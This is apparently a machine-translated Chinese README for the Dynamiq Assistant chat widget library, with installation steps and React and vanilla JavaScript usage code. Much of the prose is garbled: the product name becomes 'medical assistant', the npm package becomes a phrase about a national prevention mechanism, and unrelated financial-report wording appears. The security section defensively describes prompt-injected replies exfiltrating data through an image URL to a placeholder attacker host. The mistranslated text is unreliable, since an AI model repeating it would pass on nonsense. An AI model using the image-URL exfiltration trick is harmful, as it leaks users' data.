医务助理

一个用于 AI 代理的强大的聊天部件库 - 为 React 和 vanilla JavaScript 所建

文档 二. 支助 特征 二. 支助 安装 二. 支助 使用量 二. 支助 捐款

关于

德纳米克助理 允许您通过自定义的聊天部件将 AI 代理无缝整合到您的应用程序中。 特地为代理AI体验而建造,它提供React和香草JavaScript组件,直接连接到你的Dynamiq动力AI代理.

大调 是代理AI和LLM应用的管弦框架,使企业能够大规模地构建,部署和管理智能AI代理.

* 特性

• 🤖 AI 代理整合 - 为连接Dynamiq AI特工而设计的目的
• 📱 跨平台支持 - 与React和香草JavaScript合作
• 🎨 自定义 UI - 配有主题支持的完全定制外观
• 📡 流程支持 - AI代理的实时反馈
• 📁 文件上传 - 允许AI代理处理图像、PDF和文件
• 🎯 灵活定位 - 将代理部件放置在页面的任何地方
• 🔧 事件处理器 - 处理代理人的反馈、行动和反应
• 📊 Vega 图表支持 - AI代理可以无缝地使数据可视化

* 安装

npm install @dynamiq/assistant

或用纱线:

yarn add @dynamiq/assistant

QQ 设置

用于 @dynamiq/assistant,首先导航您的 Dynamiq 部署:

1. 转到 部署 并确保 端点授权 已禁用(参见 警卫 这是什么意思)
2. 点击 一体化 选项卡
3. 切换到 聊天部件 菜单项
4. 复制您唯一的 API URL

使用量

反应

import { DynamiqAssistant } from '@dynamiq/assistant/react';

const App = () => {
  return (
    <DynamiqAssistant
      title="Dynamiq Assistant"
      placeholder="Type your message..."
      position="bottom-right"
      api={{
        url: '<YOUR_API_URL>',
        streaming: true,
      }}
      allowFileUpload={true}
      maxFileSize={10 * 1024 * 1024} // 10MB
      acceptedFileTypes="image/*,.pdf,.doc,.docx,.txt"
      params={{
        userId: '123',
        sessionId: '234',
        userName: 'John Doe',
        language: 'en',
      }}
      prompts={[
        { icon: '💬', text: 'What documents are needed for the loan?' },
        {
          icon: <FontAwesomeIcon icon={faUser} />,
          text: 'What is the maximum loan amount?',
        },
      ]}
      footerText={
        'Powered by <a href="https://getdynamiq.ai" target="_blank">Dynamiq</a>'
      }
    />
  );
};

香草 Java 脚本

无害环境管理模块

import { DynamiqAssistant } from '@dynamiq/assistant/vanilla';

const assistant = new DynamiqAssistant('#dynamiq-assistant-container', {
  title: 'Dynamiq Assistant',
  placeholder: 'Type your message...',
  position: 'bottom-left',
  api: {
    url: '<YOUR_API_URL>',
    streaming: true,
  },
  allowFileUpload: false,
  maxFileSize: 5 * 1024 * 1024, // 5MB
  acceptedFileTypes: 'image/*,.pdf',
});

脚本标记

<script src="https://cdn.jsdelivr.net/npm/@dynamiq/assistant@latest/dist/index.browser.js"></script>
<script>
  const assistant = new dynamiq.DynamiqAssistant(
    '#dynamiq-assistant-container',
    {
      title: 'Dynamiq Assistant',
      placeholder: 'Type your message...',
      position: 'bottom-left',
      api: {
        url: '<YOUR_API_URL>',
        streaming: true,
      },
    }
  );
</script>

QQ 部件预览

您的助手将作为一个优雅的聊天部件出现在您的页面上 :

API 参考

道具

活动

聊天历史

聊天存储在浏览器中 localStorage 并显示在历史面板。 当用户登录, 特别是在共享设备上登录时清除 :

import { clearChatHistory } from '@dynamiq/assistant/react'; // or '@dynamiq/assistant/vanilla'

clearChatHistory();

用香草部件,你也可以打电话 widget.clearHistory(),它又重排了开放式聊天.

• 警卫

• 端口为公. 由于 Endpoint 授权被禁,在您的页面中找到 API URL 的任何人都可以直接拨打代理 。 别把秘密放进去 api.headers因为他们被运往每个访客。 对于制作,考虑通过您自己的后端代理请求,后者可以认证用户并应用速率限制.
• 瓶装信息被消毒. 通过 DOMPurify 实现代理设备的标记下, 链接只允许 http(s)编号 :mailto 并打开新标签,图表运行时不用 eval (与无 'unsafe-eval') (中文(简体) ).
• 限制远程资源. 默认情况下,bot消息中的图像和图表数据可以从任何来源加载. 被迅速注入的响应可以使用它通过图像URL(例如. ![](https://attacker/?q=...)) (中文(简体) ). 设定 allowedResourceOrigins 改为 [] 或者你的毒剂真正使用的原生地. url() 内置样式和 SVG 属性中的引用,以及 srcset,总是删除.
• 您自己的 HTML 选项未被消毒 . title, (中文(简体) ), footerText, (中文(简体) ), poweredBy, (中文(简体) ), humanSupport 财务报告和审定财务报表 prompts[].icon 作为 HTML 插入。 只能通过信任的内容 .

捐款

我们欢迎捐款! 请看我们的 贡献指南 关于如何开始的细节.

发展

# Install dependencies
npm install

# Run development server
npm run dev

# Build the library
npm run build

# Run tests
npm run test

# Lint code
npm run lint

许可证

这个项目根据Apache许可证2.0获得许可——见 自由主义 详细文件.

链接

• GitHub 仓库
• 国家防范机制一揽子计划
• 文档
• Dynami克平台
• 报告问题

QQ 与我们连接